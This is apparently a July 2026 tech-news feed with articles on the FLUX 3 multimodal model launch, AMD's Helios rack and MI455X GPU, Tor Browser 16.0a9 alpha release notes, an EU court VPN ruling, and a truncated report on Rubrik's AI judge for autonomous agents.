For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.


Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start
Thu, 23 Jul 2026 20:48:22 +0200
Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.
The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. 
That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. 
FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve. 
There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request. 
What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.
Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.
But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. 
Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption
BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. 
In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.
One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.
Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.
Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.
Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. 
Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.
One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.
Here's a rough guide for enterprises considering which video models to rely upon: 
Model Max single-generation duration Max resolution Key constraints Price per 10-second clip (720p) Price per 10-second clip (1080p) Price per 10-second clip (4K)
FLUX 3 Video 20 seconds Not stated; evaluations run at 720p Early access; no published SLA or pricing Not announced Not announced Not announced 
HappyHorse 1.1 15 seconds 1080p No 4K; closed weights Not published (v1.0 reseller rate is ~$1.82) Not published (v1.0 reseller rate is ~$3.12) n/a 
Veo 3.1 Per-second billing 4K Supports clip extension; preview $4.00 $4.00 $6.00 
Veo 3.1 Fast Per-second billing 4K Preview $1.00 $1.20 $3.00 
Veo 3.1 Lite Per-second billing 1080p No 4K, no clip extension; preview $0.50 $0.80 n/a 
Gemini Omni Flash 10 seconds (3s minimum) 720p at 24 FPS Preview abd no EU access $1.00 n/a n/a 
One architecture for media generation and physical action
FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. 
The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.
"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."
He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."
BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.
For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.
For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.
What FLUX 3 Video can actually do
The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. 
Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.
The capability list BFL published covers:
Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
 Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.
That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.
It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.
BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.
FLUX-mimic tests whether video models can become robot models
BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.
The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.
FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. 
BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.
"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."
BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. 
Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." 
The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. 
There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.
Open weights helped make FLUX an industry standard
BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. 
The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. 
That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.
Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.
FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch,  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.
The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.
FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.
The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. 
The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.


AMD raises the AI stakes with Helios, Venice and robotics
Thu, 23 Jul 2026 20:48:09 +0200

		
					  
						




AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.



AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).



The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  



AMD’s MI455X targets the AI memory wall



The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.



Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.



AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.


AMD



The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.



The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.



AMD’s Helios rack takes aim at Vera Rubin


Dave Altavilla



Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.



In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.



These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.



AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.



While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.



Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.



Kind of like cowbell, AMD Venice gives agentic AI more CPU


AMD



AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.



Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.



Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.



Pensando networking and ROCm software advance



Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.



As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.



On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.



These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.



Customer commitments underscore rack-scale confidence



AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.



Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.



Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.



There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.



AMD expands its robotics and embedded foundation



AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.



The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.



Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.



Execution for AMD is now the test



AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.



AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.



As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.



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New Alpha Release: Tor Browser 16.0a9
Thu, 23 Jul 2026 20:25:02 +0200

    
      


      
    
    Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.
Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.
If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.
It's ESR transition season again!
Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.
We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs
💍 Sharing the Load
Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.
As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.
🎨 UI Code Churn
Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.
Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.
Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.
In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.
On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.
The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).
⚙️ Pending Google Target API Level Requirements
Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.
However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).
🤖 Android APKs too big
The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.
In the past, we have been able reduce our package size though various methods including:

Using custom size-reducing compiler flags
Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies
Removing unused Firefox assets from the build
Replacing unused (but still linked) libraries with no-op stubs
and countless other methods over there years

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.
This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.
📉 Even Less Telemetry
Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.
We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).
Current Status
We have:

incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
updated the build systems with the latest dependencies and fixed a few reproducibility issues
triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.
Known Issues
🦊 Firefox Branding
In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!
🌐 All websites marked 'insecure' on Tor Browser Android
Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115
Send us your feedback
Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.
Full changelog
The full changelog since Tor Browser 16.0a8 is:

All Platforms
Updated NoScript to 13.6.30.90201984
Bug tor-browser#43819: Show custom security level on android
Bug tor-browser#44748: Revert Funding the Commons Implementations
Bug tor-browser#44811: Remove the lock on pdfjs.disable.
Bug tor-browser#45101: Rebase Tor Browser onto 153.0esr
Bug tor-browser#45131: Security level is using an unsafe getBoolPref
Bug tor-browser-build#41831: Update libevent to 2.1.13


Windows + macOS + Linux
Updated Firefox to 153.0esr
Bug tor-browser#44439: Remove translate action from urlbar
Bug tor-browser#44883: Remove urlbar quick action for labs
Bug tor-browser#45029: Convert connection status settings to new design and config approach
Bug tor-browser#45055: Rename --color-gray-05 to --color-gray-0
Bug tor-browser#45081: Use the new "Acorn" icons on desktop
Bug tor-browser#45110: Disable the settings redesign until ready for us
Bug tor-browser#45112: Missing CSS border tokens in 153
Bug tor-browser#45132: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'
Bug tor-browser-build#41800: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser


macOS
Bug tor-browser#45108: Artifact generation fails due to missing .DS_Store in the branding directories


Android
Updated GeckoView to 153.0esr
Bug tor-browser#43820: Use SecurityLevel integration on android
Bug tor-browser#44157: Remove secret setting toggle for Tab Management Redesign
Bug tor-browser#45045: Remove moz asset in Downloads screen
Bug tor-browser#45103: Disable broken "tab management"
Bug tor-browser#45109: No value passed for parameter 'jsEnabled'
Bug tor-browser#45118: Audit and disable Mozilla VPN promo
Bug tor-browser#45130: Clean up TorHomePage padding


Build System
All Platforms
Bug tor-browser-build#41838: Update personal_access_tokens URL in tools/fetch_changelogs.py


Windows + Linux + Android
Updated Go to 1.26.5


Windows
Bug tor-browser-build#41819: Fix windows-rs URL in projects/firefox/config






    
  
    
        
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          releases
        
      
  
  


EU Court Rules VPN Providers Not Liable for Users Bypassing Geo-Blocks
Thu, 23 Jul 2026 19:56:17 +0200
The apex court of the European Union has made a significant decision with regard to the matter of digital privacy and regulation of copyright online. Specifically, The Court of Justice of the European Union pointed out that a Virtual Private Network operates as a fully legitimate technical instrument. Hence, the judges have ruled that website […]
The post EU Court Rules VPN Providers Not Liable for Users Bypassing Geo-Blocks appeared first on PrivacySavvy.


An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
